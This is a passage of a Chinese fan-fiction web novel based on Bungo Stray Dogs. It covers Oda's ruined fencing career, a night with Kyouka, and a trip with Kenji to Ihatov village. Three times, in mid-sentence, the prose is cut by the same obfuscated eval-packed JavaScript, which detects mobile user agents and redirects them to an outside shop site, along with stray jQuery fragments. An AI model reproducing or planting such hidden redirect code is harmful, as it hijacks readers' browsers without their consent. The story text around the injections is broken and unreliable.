……讲个笑话,三年生说一年生学业紧。 没有甜言蜜语,也没有奖励补偿。只是平淡地阐述现状,做出能达到的承诺。却有着安抚人心的力量。孩子们恢复了活力,乖巧地朝我们挥挥手。 我跟着织田作走出孤儿院,感慨:“织田作真是带小孩有奇效。” “嗯?”他露出苦恼的神情,“我其实不会哄小孩。” 啊,织田作。你太会了。 你把他们当做大人一般平等对待,给予他们应有的尊重。这就是,他们喜欢你的原因啊。 回去的车程更加轻松。经过一天的相处,我和他也不再那么拘谨,多了几分随和,聊天过程非常愉快。 当我和他聊到咖喱饭的制作时,公交车上的屏幕突然转播到某个体育比赛直播。 我并没有留意,兴致勃勃地继续讨论:“咖喱里放玉米粒怎么样呢——” 我的声音慢慢变小,及时敛声。一直认真和我讨论的织田作此时完全没有听到我的建议,而是直直望着某个方向。 我顺着他的目光看过去,原来是公交车屏幕上的击剑比赛。我知趣地不再说话,和他静静看着比赛。 老实说,击剑这种运动实在是太冷门了,一般的学生没有接触途径,我对它的了解仅仅是两个全副武装的人互相刺探。 “怎么会转播这么冷门的运动?”我轻声道。 他的目光自始至终没有从屏幕上移开:“再冷门的运动,也有受众人群。” 屏幕上两个选手身穿击剑服,在赛场上有来有往地互相试探,随着倒计时的减少,场内气氛逐渐焦灼。右边的身影率先进攻,细长的剑在空中划过凌厉的弧线,左边的人躲闪不及,那剑直直劈到左边人的臂膀上!右边赛道的灯光亮起。 “中了!”我惊呼,鼻腔发出“嗯”的一声疑问:“没有加分?明明都亮灯了。” “那是无效灯。” “为什么?” “这是花剑,只有剑尖刺中才有效,不能劈。”织田作之助看着我茫然的神情,继续解释:“击剑有三个剑种,花、重、佩剑。击中有效部位各不同;其中花剑重剑只能刺,佩剑可以劈。看步伐,这个选手应该是从佩剑转花剑,没有适应。” “哇哦。”难得见织田作侃侃而谈的样子,我托腮欣赏了一会,不忘捧场:“太厉害了,那怎么区分三个剑种?” “最大的区别是钢剑的护手盘。”他认真答到,“花剑是小碟形状,重剑像大碗,佩剑是月牙盘。” 这时,我脑海里闪过刺眼的光,突然想起刚刚在孩子的房间内捡蜡笔时,角落的那个长条黑色布袋,那个闪了我眼睛的金属把手,不正是钢剑的护手盘吗?的确是,正像戏剧里骑士决斗时拔出的月牙盘。 ……但,为什么会被随意放在角落里,任凭它在黑色布袋中蒙尘?看着织田作亮起的眼睛,我的话拐了个弯:“……比赛中很难看清护手盘吧?” 他顿了一下,欲言又止:“都比赛了,难道不是看一眼赛程就知道了吗?”还看护手盘干什么。 我被他看傻子一样的眼神击败了,虽然他并没有说出口。 29.天才击剑手 由于在孤儿院陪孩子多逗留了很久,回到咖喱店时已经不早。想起在电车上讨论的咖喱,我咽了咽口水,愉快地把晚餐地点定在咖喱店。 我坐在店长特意留出的空桌位上悠哉悠哉地等待晚饭,织田作可没这么幸运。正好赶上饭店,他又回来晚了,一进门就直通后厨刷碗。坐在这个位置隐约还能看见后厨的那一撮红毛忙碌地窜来窜去,完美符合我想象中织田作工作的样子,我不由窃笑。 微辣的咖喱饭下肚,店里剩下的客人已经不多。店长清闲下来,也就笑眯眯地坐在我对面看我吃。 “织田作不先吃饭吗?顾客大都用完餐差不多了吧?”我没忘记今天的完美出游搭子,试图把他从后厨解救出来。 “我问了。那小子死心眼,说把后厨收拾干净再吃。”店长用蒲扇扇着风,慢悠悠地说。他似笑非笑看我一眼:“可不是我不让啊。” 我笑出声:“店长大叔,我哪这么说了?他乐意忙,就晚点吃呗,大叔你也轻松一些。” 嗯,而且……织田作不在的话,正好方便我。 我瞅瞅后厨,那撮红毛果然还在忙碌地旋转。我偷偷瞥一眼店长。 “今天去看孩子们了吧?怎么样?” “都很可爱。而且乖。” 我再瞥一眼店长。 “……哈哈,那五个崽子居然能用‘乖’形容。他们肯定得瑟的不得了。” “还好啦,小孩子都会闹腾一点,但是胜在好哄。” 我再瞥……店长捂住眼睛:“佑木,有事吗?” “……怎么了店长?” “我真是明白你为什么和五个崽子玩得来了,”店长苦笑,“心虚的样子和孩子一模一样嘛。”偏偏他拿这招没办法……真是的。 我犹豫一下,轻声问:“织田作的伤,怎么回事?” 店长没想到我会问这个问题,眼中闪过暗芒,不过随即摸着头哈哈大笑起来:“原来是问这个啊。上次不是说了吗?比赛时受伤了,不是什么大事。” “没这么简单。”我小声说,“织田作应该是击剑特长生吧?虽然难以相信我们学校还有这么高级的特长……” “哈哈,织田确实是击剑特长生。”店长似乎对我的回答有些惊讶,接着笑眯眯地问,“如何呢?” “击剑运动员应该更加爱惜自己的手臂。”我说,“即使是重要比赛,也不可能赌上自己的职业生涯。——何况织田作可是因此休学了。” “真不愧是织田的朋友。”店长感叹道,“敏锐的小姑娘。” 果然,这件事没有这么简单啊。 我不好意思地轻哂,说:“我只是想更了解我的朋友。不过,大叔你不想说就算了,我也无意揭露别人的伤口。” “哪里的话,这也不算什么隐私。”店长摇摇头,回忆起来。 “那是去年的事情。织田还是高校二年生,有一天他和我说学校老师建议他参加一个规模很大的击剑比赛,如果获胜可以保送国内知名体校。织田是知名的击剑天才,当时已经确定日后要走职业,如果能在这次比赛上取得好名次,对他未来职业生涯很有帮助。” “但是他决定不参加,因为同样参加那场比赛的有一位欧洲职业选手安德烈?纪德,他的打法狠辣诡谲,对手容易受伤。而织田作才高二,日后机会还很多,没必要冒这个风险争保送名额。” 他的声音突然沉下去。 “然而……大赛开场前几个小时,突然有人找到我,邀请我去看纪德和织田的比赛。我知道事有蹊跷,本想拒绝,可通过视频得知孤儿院的五个孩子也被他们接到比赛现场了……由于担心孩子,我只好跟他们走。” 我的心被紧紧揪住,皱眉接着问:“后来呢?” 店长叹息:“我们落座不久,织田就来了,他看起来很生气,没有多言就穿上了击剑服。我看不懂击剑比赛,只听解说才知道俩人一直平局。” “直到比赛结束的最后几分钟——”店长垂头,“两个人同时出剑,然后一起倒下了。” 我瞳孔紧缩:“一起?!” “是的。送到医院后得知,二人的击剑服都有问题,不能起到防护作用。安德烈?纪德和织田的手臂严重受伤,日后与击剑运动无缘。” 与击剑运动员……无缘? “这场比赛,断送了两个天才击剑种子选手的职业生涯。”店长长叹。 我沉默了,久久未言。我知道织田作的受伤有蹊跷,没想到背后是这么诡异的发展。孩子和店长被接走明显是威胁,拒绝参赛又复返的织田作不知经历了什么,被动手脚的击剑服出自谁手,两败俱伤的两个击剑手均动机不明,似乎冥冥之中有双手推动着他们。 “比赛方没有解释吗?” “两个人都违规出剑,双双取消比赛资格。” “那……” “发生了什么只有织田清楚。”店长朝我摇了摇头,“而我只知道这些。” “他不希望我们探究这件事,作为朋友,我尊重他。”店长露出和蔼的笑容。 我听懂了店长的言外之意,他仅仅应我所需介绍了那场比赛,却点到为止不希望我了解更多。我若有所思地点点头。 这怕也是织田的意思,他不希望别人去探寻这场夺走他职业生涯的比赛。 天色不早,我起身告辞。店长摇着蒲扇招呼一声:“织田——送一下佑木。” 我挠挠头,“没必要啦店长大叔。”他笑着朝我眨眨眼。 织田作从后厨走出来,顺手摘下了围裙,淡定地擦了擦手,说:“佑木,你要走么?” 店长说:“最近街上不太安定,你把佑木送回学校吧。” 织田作平静地回应了一声。 “孩子很喜欢你。”走在街上,织田作之助认真地说,“谢谢你,今天陪孩子玩了这么久。” 我目移。主要是真玩嗨了,根本分不清是谁陪谁在玩,其实我觉得孩子们今天也累得够呛,“没有啦学长,我也很开心。” “如果你有空,随时可以过来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220384|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不知他说的是孤儿院还是咖喱店,总之出于礼貌先笑着答应了。 路过一家药店,他突然停下了脚步。“抱歉,等我一下。”他朝我点头,抬脚走进药店。 我的心微微揪起。是去买治疗手臂的药吗?都过去了这么久,织田作的手不知道怎么样了。店长的话在耳边回响,光是听他转述就能感受到比赛的惊心动魄。毋庸置疑,织田作很热爱击剑,身为击剑天才的他甚至本应有大好前程。手臂受伤后最初的那段时间,他是如何面对破灭的梦想的? 我站在药店外,看着街道上亮起的一个个招牌发起了呆。我脑中浮现出织田击剑的画面,很难想象这个温和平静的男人如何在赛场上锋芒毕露,居然能有击剑天才的名号。 “佑木?……佑木?” 我突然回神:“啊,织田作,你回来了?” “你还好吗?看起来很难过。” “没事啦,我一直低着头学长你是怎么看出来的啊!” “气质。” “又是气质……我真是搞不懂这么抽象的词汇。” 他似乎笑了一下,把手里提的塑料袋递给我。我下意识接过,里面装的居然是一瓶药用气雾剂。 “活血化瘀的,每天喷三次。” “啊?” 见我有点疑惑,他犹豫一下,又不知怎么形容,只好指了指他的额头:“变色日杂妆……” 我:“……” 我:“。” “别说了织田作。我知道了。”我痛苦地扶住脑门,脑海里闪过他多次看着我的额头神色微妙的画面。 不是很精心编造的谎言以一种很莫名其妙的方式被戳破。 “织田作你早认出来了,还和我装那么久。”我轻揉额头,抱怨道。 “因为看到佑木装的很努力。”织田作之助欲言又止:“而且总觉得那时候戳破会发生不太好的事。” 是呢,会被恼羞成怒的我毁尸灭迹吧。我微微笑,在心中轻声回答。 回到宿舍的我在床上躺尸了一会。路上并没有感觉,回到熟悉的小窝才惊觉今天闹了一天,随之而来的是□□的疲惫。我享受几分钟温软的小床,又挣扎着爬起来洗澡。 冲了个热水澡,擦着湿漉漉的头发从浴室往回走时,遇见了泉镜花。 嗯,镜花像什么,专门在回宿舍路上刷新的萌物。 其实我一开始没有发现她。放假期间宿舍楼的女生本来就没几个,我都没想到会碰到人。她的脚步又悄无声息,将声音收到极致,我只能听到衣料摩擦的声音。 嗯?什么奇怪的声音…… 这时,突然在几乎贴着我的身后传来幽幽的一声:“你回来了?” 在昏暗的女宿走廊,这一声如同惊雷在耳边炸响,像是电流一样经过全身,我感觉自己的头皮一下子发麻,头发几乎要炸起来。 我惊恐地狂甩头,像是洗完澡的小狗甩掉毛上的水珠一样,想要把脏东西驱逐走。 什么东西……在我身后??! 30.污垢小妖怪 泉镜花猝不及防地被湿漉漉的黑色长发糊了一脸,还甩了一身水。 泉镜花:“……”头发……带着护发精油的淡淡的幽香,让人安心的味道。 身后很明显地撞到什么东西,我跑也不是,尖叫也不是。在原地石化的两秒钟,壮着胆子,僵硬地把脖子一点一点转过去,好像还能听到“咔哒”“咔哒”的配音。 “……镜花?!” 我的老天鹅啊,居然是个活人,可喜可贺。 泉镜花默默把我的头发扒拉下来,继续面无表情地看着我,眼中居然能读出来谴责:“我只是想和佑木打个招呼。” “……镜花你明明是故意想吓我的吧?!”我忍不住控诉。谁打招呼会贴着人啊? 她没有反应,继续面无表情地看着我。我一愣,反思是不是自己错怪镜花了,毕竟镜花那么乖…… 这样想着,就看见镜花在我眼皮子底下,突然翘起嘴笑了一下,带着点小孩子恶作剧得逞的狡黠。我就这么眼睁睁地看着她笑了一下,又迅速绷住,若无其事地重新看向我,目光里带了点疑惑。 我忍了忍,还是忍俊不禁地大笑出声:“我都看见你笑了,还想装!”我捞住泉镜花,挠她痒痒,“看起来这么乖,没想到一肚子坏水!”莫名地,想起了孤儿院的咲乐,一样有着动若脱兔的生机。 泉镜花被我搂住的一瞬间僵硬了一下,她压抑住抵触的生理本能时已经被我挠了好几下了。她像小猫咪一样挣扎,却无济于事。最后她实在无力抵抗,忍不住又笑了出来:“哈哈、好、好痒……放开……” 泉镜花的笑和别的人不一样,大部分时间她都紧紧绷着脸,难以看出什么情绪。难得看见她展露出的笑颜,也是小声的笑、默默的笑,像是邻家害羞的小孩。 镜花红扑扑的脸颊,看起来比其他任何时候都更有生气,我心中也轻松了很多。 “以前打招呼……都是这样的。” 我咋舌:“贴着人干嘛啊?” 她眼中闪过坚定的光芒,“手刀劈晕,一顿胖揍。” 我:“……”好吧。想到这是黑手党出来的姑娘,一切问题都迎刃而解。 打闹了一会,我狠狠地揉了一把她柔软的头发,才把她放开,问:“今天干什么了?” “和敦一起整理资料。” “……在侦探社待了一天?” “嗯。” 嗯,我和小孩子玩了这么久,中岛君和镜花居然忙了一天,一股负罪感油然而生。 很快我想起来自己又不是侦探社的成员,无事一身轻啊。嘻嘻。 我突然想起来一件事,笑嘻嘻地说:“对了,有个东西要给你,来我宿舍吗?” 镜花犹豫了一下,我想起她对小银的惧怕,立马说:“小银回家了,你就当陪我吧。” 镜花默默地跟着我进了宿舍。 她拘谨地坐在椅子上,双手捧着我给她倒的水。我在背包里翻了半天,也许是东西太小了,摸索许久才翻到。 “找到了——”我握住熟悉的东西,从包里抽了出来,邀功般向镜花展示。 手心里躺着一只翻肚皮的小白兔摆件,憨态可掬,似乎看到毛茸茸的耳朵一晃一晃。这是我在孤儿院用粘土捏的小白兔,想到镜花没有父母陪伴,假日被迫孤独地留在学校,就想把小兔子送给她。 镜花会喜欢吗?这样萌萌的宠物兔应该招大部分女生喜欢吧?我不确定地看镜花一眼,只见她默默地看着我手心的兔子,一言不发,没有任何表示。 我犹豫出声:“镜花……不喜欢吗?” 她指尖动了动,最终,慢慢抬起手,小心翼翼地接过兔子。动作轻柔,像是接过一只真的兔子幼崽一样。 她轻声说:“我……很喜欢。” 何止是喜欢。看着卖萌的小兔,她快要哭出来了。兔子这么可爱的生物,她从来只能在手机上看到,因为她连自己都无法照顾,不可能有一只宠物兔;也从来没想过可以收到别人精心制作的礼物,在本应该孤独度过的夜晚,像正常女生一样在宿舍聊天。 我小心地把手伸过去,想戳戳一动不动的镜花,还没戳到本人,突然“啪嗒”一声,温热的泪水滴到我手背上,像是滚烫的油崩到手上一样令人难耐。 “不、是、吧?”我难以置信,“你不是喜欢吗?在骗我?有这么丑吗……还是不喜欢兔子啊?下次再给你做别的好吗?别哭了……你喜欢什么动物啊?” 面前的女孩着急忙慌地安慰她,手忙脚乱地抽了几张纸递给我,喃喃自语半天,最后轻柔地拍拍她的背……莫名其妙的,一阵暖流温暖泉镜花的心,是被人惦记的满足感。 “不是的,我很喜欢。”泉镜花重申,“只是……之前没有人送过我礼物。” 我寻思半天,小心问:“那就是……被感动哭的?” “……”泉镜花微微垂下头,拒绝回答这个问题。 看来是这样没错。总归不是被我的礼物丑哭的,我安下心来,翻出吹风机开始吹头发。 每日吹发(1/1) 反正回了各自寝室也是一个人待着,离睡觉时间还有一会,我干脆把镜花留下来聊天。聊到喜欢的事物上,我顺口问镜花喜欢什么。 意料之外的,她谨慎地回答:“对我来说都一样。” 我大惊:“不会吧?” 她没有回答。有父母宠爱的孩子才有资格拥有喜欢的事物,而她的父母在一次次的工作安排里将她遗忘。 “那么做个测试吧,镜花!”我愉快地说。 “诶?” “你喜欢兔子吗?” 她点点头:“喜欢。” “那把这个兔子摆件换成刺猬可以吗?” 她抿嘴,微微点头:“可以。” “太好了。换成狗呢?” “……可以。” 我轻轻拍她脑袋:“有区别啊,镜花。” “?” “镜花喜欢小兔子,对刺猬无感,讨厌狗。这不是很明显的事情吗?” 她犹豫一瞬:“可是,哪个摆件其实都一样,没有不同。” “当然有——”我笑眯眯,“镜花喜欢,就是最大的不同。” 她愣住。 “你的喜好,在朋友心中排在榜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233322|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首。” “提问!镜花喜欢什么食物?” 饱腹就好。看着我和蔼笑容下的隐隐威胁,镜花默默咽下这句话。无端的,她想起曾经吃过的一家汤豆腐。后来脱离黑手党协会时,要挟敦带她去吃过一次。“……豆腐。” “嗯!豆腐嘛,很好很好。” “佑木呢?” “我果然还是更喜欢拌饭。”我的泪水从口中流出,“无论是牛肉盖饭还是咖喱拌饭,都无敌美味啊。” 镜花微微歪头看着我露出陶醉的表情,浅笑了一下。 “我喜欢紫阳花。”她认真思考一下,庄重地和我说。 我讶异于她的主动,很快接过话题,“绣球啊,夏天一大片一大片的,颜色很梦幻呢。可惜花期已经过了,下次再开放时,一起去赏花吧。” 镜花眼前微亮,郑重地点头:“嗯!” 我竖起大拇指,镜花,萌诶! 不知不觉聊了很久,时间不早了,明天还和贤治有约。我打了个哈欠,镜花适时地起身想提出回寝室。我抬眼看向她,正想说话,窗外突然出现白光,将镜花的容颜照亮。 “轰隆——”传来隐隐的雷声。我看到镜花明显地颤抖了一下。 啊,看来镜花讨厌的事物列表中,还得再加一个“雷”。 她强装镇定地说:“那我、先回宿舍了——” “轰隆——”又响了一声。 她沉默了,然后不等我答应,慢慢转身,迈着沉重的步伐走向门口。 “……我说,”我无奈地探出脑袋,“你留在这睡也不会怎么样吧?” 她猛地回头,没有控制住脸上愕然的表情。 “为什么会是这副表情啊。”我嘀咕。“我们不是朋友吗……” 实在无法抵御如潮水般涌来的困意,我又打了个呵欠,镜花的视角估计都能从我的血盆大口中一眼望到小舌头。“总之,你如果害怕的话,就留下来睡吧。把你的被子抱过来,我去小银床位。” 我把我的被子抱到隔壁床位,一头扎进了床铺里,舒服得意识逐渐涣散。 “记得带个灯……” 一阵窸窸窣窣的声音过后,灯被关上了,隔壁床位能听到清浅的呼吸声。 镜花睡在熟悉的床位上,偶尔还能听见往日令她无法入眠的可怖雷声。但今夜似乎有所不同,隔壁床位规律的呼吸声让她心中慢慢平静。 曾经还睡在这个床位的时候,她每日在黑手党协会接受芥川的“特训”。在一次次被迫暴力镇压学校周边势力中痛苦挣扎,每日夜晚都在被窝里想念父母,看着天花板的小污垢发呆。她尝试过很多次去清理那块污垢,却无疾而终。顽固的污垢就像她在黑手党的经历一样无法抹除…… 泉镜花愣住了。 就在天花板那片相同的位置,那个熟悉形状的污渍……被人用马克笔加上了手脚,贴上活动眼珠,像是一个跳舞的小妖怪。 可爱、灵动。 泉镜花笑了起来,为了不打扰隔壁床位的人睡觉,她只好蒙住被子偷偷笑。从外面只能看见被子微微起伏。 晚安,污垢小妖怪。 31.行至伊哈特伯(一) 第二天我醒的很早,泉镜花还在睡梦中。我轻手轻脚地洗漱完,窸窣的动静中泉镜花很快醒来。先是警惕,惊慌,闻到枕边熟悉的味道后记忆逐渐回笼,有些恍惚地从床上起身。 “吵醒你了?”我轻声道:“真不好意思。”我已经努力发出最小的声响了,没想到还是吵醒了她。 镜花从床上起身,揉揉眼睛,“我习惯了……佑木要去哪?”嗯,刚睡醒的镜花还有着一点迷糊劲,说话带着点鼻音,呆呆的样子简直不要太萌!我忍住冲上去rua她的冲动,尽量平和地说:“要去乡下玩。大概两天。” 也许是刚睡醒,泉镜花没有隐藏住自己的情绪,慢慢低下头,有些失落地说:“两天吗?……路上请注意安全。” 我罪恶的手终于放到了她的头上,揉揉她本就乱糟糟的头发,笑着说:“嗯!两天后我就回来了,镜花。” 不知道哪里戳中了她,泉镜花开心起来,勾唇笑了笑。 见她恢复正常,我把行李收拾好,朝她挥挥手。“那我走了,你离开时带个门哦。” “好的,再见。”泉镜花说。 那个身影走远了。 泉镜花不止一次看见过匆匆离开的背影,伴随的是一个来自父母的仓促的吻,和遥遥无期的再会之日。也许是几个月,也许是一年多,即使内心再煎熬再痛苦,也只能换来电话里照本宣科的安抚,她难以再见到思念的父母。 自那以后,她就知道,再见,是人们脱身时最擅用的谎言。 但现在,她的朋友告诉她返程的时间。就像与她定下了契约,在两天后重逢。 或许……再见,只是分别时最长情的誓言。 “贤治,早上好……你什么东西都不带吗?”和贤治汇合后,我看着两手空空的他陷入沉思。 “戴了我的草帽。”他摘下头顶的草帽,挂在脖子后面,朝我露出洁白的牙齿。 “啊,我还以为你会带很多城里东西回乡下呢。”我和他走在街上,随口聊道。 他摇摇头:“乡下的东西足够生活了,乡亲们也用不惯城市的物品。” 这样吗,和外界完全不互通?我若有所思地点点头。 我跟着贤治徒步走了很久,看着越来越偏僻的路径和周围稀疏的车辆,我沉默一瞬,还是忍不住怀疑他是不是想把我卖了:“我们去哪啊?” “嗯?回乡下啊。”贤治无知觉地回答。 “……怎么去?”我有种不好的预感!! 他转过头朝我露出“放心”的眼神,说:“本来想自己走回去的,但既然佑木也在,还是去租一辆牛车吧?虽然慢一点,但换我来拉车,天黑前可以赶到的。” 我瞳孔地震。 离横滨最近的乡都有几公里啊!……难道附近还有我不知道的村庄?我试探地问:“贤治老家在哪?” “岩手县,伊哈特伯村。” 我:? 哪里、哪里……?岩手县?? 我:“贤治……这都跨越半个本州了、你用走的?”先不说你一开始准备怎么走过去,哪来的牛这么无敌能从横滨拉到岩手啊! 贤治:“我打算自己拉牛车啊(*^_^*)很快的。” “坐新干线不是更快吗?” 他一愣,疑惑地问:“那是什么?” 其神情天真无邪,难以想象此人刚刚妄图拉牛车狂奔半个本州。 “……”我默默低头掏出手机,“跟着我,贤治。” 一小时后。 宫泽贤治乖巧地坐在新干线车厢中,好奇地观察着周围,又把目光投向了我,眼里冒出小星星:“太厉害了,佑木!” 我得意地翘了翘唇角,又矜持地说:“还好啦,大概三小时才到哦。” “三小时吗?我之前来学校要走一整天呢!” 我吐槽:“骗人的吧?岩手到横滨有几百公里,怎么可能一天走到。” “是很难。所以为了赶时间,我每次回学校都要饿一顿。”他笑着说。 又是饿一顿!我现在听不得这个词。我惨不忍睹的第一场考试在心中抽抽地痛。 “你的身体到底是怎么长的?”饥饿状态下能有这么高移速吗? “是异能力哦。”宫泽贤治说。 “唉,这种中二的说法只能骗骗你们啦~”我摆摆手,全然忘了自己和他一个年级。“不过咱们学校的奇人是真的多啊。”有臆想症的中岛君、精神分裂症的森先生、抑郁症的太宰、边缘性人格障碍Q、强迫症的晶子、焦虑症的镜花……而且全员还有中二症的buff。 但贤治这个症状……又正常又离奇啊。不吃饭不应该低血糖吗?我思索半天,突然想起曾经看过的一篇研究。 ——保持适当的饥饿感,会让身体更健康。因为胃肠道饥饿时加速蠕动,有助于胃肠道健康、身体自我调节和代谢。 我若有所思地看一眼贤治。 “怎么了,佑木?” “没,就是觉得,贤治很适合去当研究参与者。现在很多科研人员都在研究轻断食的好处哦,你简直是典范啊。” “是异能力啦。”宫泽贤治再次强调。 好顽固!我可有可无地点点头,心中叹气。整个横滨高校,恐怕只有我一个正常人了吧。突然感到责任重大,千万不能传染上中二病。 三小时说慢不慢,贤治有着和外表不符的耐心,对周围事物永远保持着好奇和欣赏。我昨晚睡得早,也不算困,只好陪着贤治一起看外面风景,竟然也能从一路景色中找到乐趣。 美中不足的是飞逝的电线杆总让我脑门幻痛。 到了岩手县,我查找路线,带着贤治换乘电车。贤治全程用一种惊叹的神情无声看着我查路线、购票、乘车,好像见证了一种高科技产品的推行。 就这样走走停停,终于到了邻近伊哈特伯村的乡,再往前走就无法用科技解决任何问题了。看到熟悉的乡镇,贤治露出开心的表情,无需多言,他带着我熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254321|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练地左拐右拐,朝一个老大爷借到了一辆牛车。 他熟稔地摸摸牛的耳朵,牛温顺地在他手心蹭蹭。他欢快地挥挥手示意我上车,我稀奇地坐上了在景区才见到的牛车。 黄牛迈着矫健又沉稳的步伐,拉着牛车缓缓前进。路上有些颠簸,却在可接受范围内。吸引我的是在山路上能眺望到远处奇丽的乡下风景,眺望不到头的金色麦田延伸到云雾处,各种家畜在太阳下悠闲地晒背,也有打闹的小孩子和劳作的大人。 伊哈特伯村很快到了。贤治刚下车,就被等待已久的乡亲围住,在乡下拥有强悍交际圈的他迅速混入其中,似乎完全没有和乡亲们因为太久没见而产生的隔阂。 “贤治,你终于回来啦。” “城里生活怎么样啊?哎怎么感觉瘦了。” “嚯,这么久没见又长高。” “贤治,你婶子昨天做的羊羹来拿点啊。” 看着被男女老少围得水泄不通的金发少年,我抑制不住地笑出了声。这一笑,把大家的注意力吸引过来了。 人群看着我,静了一瞬。虽然都是充满善意的打量,但一下被这么多双眼睛注视着,我难免起了一手臂鸡皮疙瘩。 “这是我在学校交的朋友,千叶佑木。”宫泽贤治善解人意地为我做介绍,走过来把我轻轻拉住,像是在安抚。 还没来得及调侃就被贤治噎回去的乡亲们:“……”可恶,一下看到这么精致乖巧的女娃被震住了,居然没有进行农村经典调侃节目! 贤治到旁边草丛摸索了一会,熟练地左采采、右采采,最后抓了一把青草——我管所有草本植物叫青草——凑到黄牛嘴边。黄牛的鼻子动了动,很快张嘴把那一把草吃了,心满意足地沿原路返回。 送走了牛车,贤治和我被大家围着回到了居住区。老实说大家的热情实在让我难以招架,但是想到毕竟是养育出贤治这样的小太阳的环境,又觉得一切正常。 贤治凑过去小声地和乡亲说了什么,很快那些炽热的视线有所减弱,也不再围得这么近。几位女性长辈偶尔温言和我说几句话,我乖巧地小声回应。心中暗自松了口气。 在伊哈特伯村待着,就像坠入蜜罐的小虫,被暖洋洋的蜜糖包围如此无所适从,只能放弃挣扎。口头抗拒又无法拒绝的热情,和充满善意的质朴言论,让我慢慢放松下来。 到了村长处,村长看见贤治回来了,一个长满胡茬的大老爷们居然飙出眼泪,搂着贤治嚷嚷着要亲自下厨。最后我和贤治在院子里乘凉,一群人闹哄哄地挤进厨房,传来一阵鸡飞蛋打的声音,最后被一位妇女忍无可忍地吼了出来。 其声浑厚雄浑,气吞山河。我细想,原来是刚刚温声细语和我说话的婶婶。 转头看向贤治,他淡定自若地捧起木制茶杯,小心吹了吹茶沫,满足地喝了一口,说:“这个茶叶可以给社长带点。” 我:“……” 好像找到了,贤治在学校面对任何事都波澜不惊的原因。 32.行至伊哈特伯(二) 心惊肉跳等出来的一顿饭意外的香,吃完后,贤治赶去田地里帮忙,又有几个长辈带着我回贤治的房子。 没错,贤治离开村庄前,自己在村里搭了个木屋。刚好还有房间能让我借住。 “你们吃饭时,我让几个孩子把贤治的屋子打扫了一下,你的房间已经铺好被褥了。”为首的年长女性和蔼地笑着。 我抬头朝众人露出灿烂的笑容:“谢谢各位啦!这几天叨扰各位了,您叫我小佑就行。” 其实被这么多长辈关心着,我的确略有不安,心中更多的还是隐隐的雀跃,对他们很快积攒起的好感使我露出灿烂的笑容。 又安静下来了。 众人眼也不眨地看着我,脸上都出现了一瞬的呆滞。 我:“……” 为什么啊??冷场技能在伊哈特伯村也适用吗?! 我的脸迅速烧了起来,正打算岔开话题,却听到了年长女性的笑声。 她的眼睛笑得眯了起来,只剩一条缝。她说:“贤治带回来的朋友实在是太可爱了,大家都招架不住啊。” 什么?我感到脸烫的可怕。 “你叫我月婶就好了。你们好不容易来一次,在这里放心玩,有事就来找我们,不用客气。”她温声说。 也许是心跳的太快,那女人看我的目光如此温柔,像是在看谁的影子。 “好的,月姐。”我小声说。 她一愣,摸摸脸上的皱纹,笑意更浓了,招着手把其他人叫过来给我介绍。 “城里的孩子都这么讨人喜欢吗……” “贤治这孩子也乖啊。” “啊,不愧是贤治的朋友。” “……” 我的脑门上冒出冷汗,还是无法和贤治一样轻松招架,有点害羞地和她们道完别,在几声调笑中忙不迭地进了屋子。 小木屋里很布局简洁,只有必要的家具,也都是手工木制品,我好奇地转了两圈。不是很符合我想象中乡下文艺的蜗居之所,却更有家的感觉。 院中有一棵流苏树,也许是山里更温暖,竟正好赶上花期,远处看像一片云雾袅袅升起,梦幻治愈,风吹过能嗅到阵阵清香。流苏树葳蕤茂盛,光是在树下欣赏,就能想象到主人曾经是如何用爱精心栽培。小院子四处还有花圃,一边栽着果蔬,一边栽着不太名贵的鲜花,像是从山里随手采集的花种。兴许是贤治离开的时间里有人帮忙照顾,小院干净整洁,植物也被照顾的很好,一个小小的院子塞满了各色的花朵,簇拥在一起盛开,点缀这质朴的小院。 日本的庭院大都讲究悲凉和禅宗,我见过的庭院树木都色调淡雅,追求意境美。而贤治的小院树木花卉颜色艳丽多彩,一片生机盎然,令人眼前一亮,和曾经见过的庭院景色完全不一样。 正坐在流苏树下望着头顶的鲜花发呆,听见门口传来少年朗润的声音: “佑木,你已经回来了啊。” 宫泽贤治扶着头上的草帽,推开门走了进来,清澈的眼眸中盛满了重回故土的喜悦,脸上雀斑的跳跃频率远远高于平常。 “是啊,没想到你的院子里还有流苏花。”我饶有兴趣地抬头打量着这棵树,流苏花盛开如盖霜雪,因此被称为“四月雪”,不过现在可没有到四月,大概是山谷间气候与外地不同,让它摆脱花期的束缚而在山谷中自由盛开吧。 宫泽贤治坐在我旁边:“很美吧?从我有印象起它就在这里了,陪伴我很久。” 